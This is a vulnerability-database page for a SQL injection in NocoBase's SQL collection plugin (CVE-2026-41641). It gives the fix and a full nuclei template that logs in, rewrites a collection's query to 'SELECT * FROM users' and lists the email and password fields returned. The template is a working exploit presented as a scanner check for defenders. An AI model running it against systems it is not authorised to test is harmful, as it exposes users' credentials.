Browse / CVEs / CVE-2026-41641
CVE-2026-41641· nocobase / nocobase· CWE-89
NocoBase - SQL Injection
highseverity
7.2CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it
NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
Fix
Upgrade NocoBase to version 2.0.39 or later
How to confirm it
Send: POST /api/auth:signIn
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: POST /api/collections:create ; POST /api/sqlCollection:update?filterByTk={{name}}
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET /api/{{name}}:list
Positive when: status_code == 200 and contains_all(body, "email", "password")
Send: GET {{BaseURL}}/api/app:getInfo
Positive when: status_code == 200 and contains_all(body, "\"dialect\"", "\"version\"") and compare_versions(version, "<2.0.39")Run it with nuclei: nuclei -id CVE-2026-41641 -u <target>
The full check
id: CVE-2026-41641
info:
name: NocoBase - SQL Injection
author: theamanrawat
severity: high
description: |
NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
remediation:
Upgrade NocoBase to version 2.0.39 or later
reference:
- https://github.com/advisories/GHSA-wrwh-c28m-9jjh
- https://nvd.nist.gov/vuln/detail/CVE-2026-41641
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2026-41641
epss-score: 0.01833
epss-percentile: 0.79081
cwe-id: CWE-89
metadata:
max-request: 5
verified: true
vendor: nocobase
product: nocobase
tags: cve,cve2026,sqli,nocobase,sqli,authenticated
flow: http(1) && http(2) && http(3) || http(4)
variables:
name: "{{randstr}}"
http:
- raw:
- |
POST /api/auth:signIn HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"account":"{{username}}","password":"{{password}}"}
extractors:
- type: regex
name: token
part: body
internal: true
regex:
- '"token":"([^"]+)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/collections:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"name":"{{name}}","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"}
- |
POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"sql":"SELECT * FROM users","fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"}]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
GET /api/{{name}}:list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "email", "password")'
condition: and
- method: GET
path:
- "{{BaseURL}}/api/app:getInfo"
extractors:
- type: regex
name: version
part: body
regex:
- '"version":"(.*?)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dialect\"", "\"version\"")'
- 'compare_versions(version, "<2.0.39")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from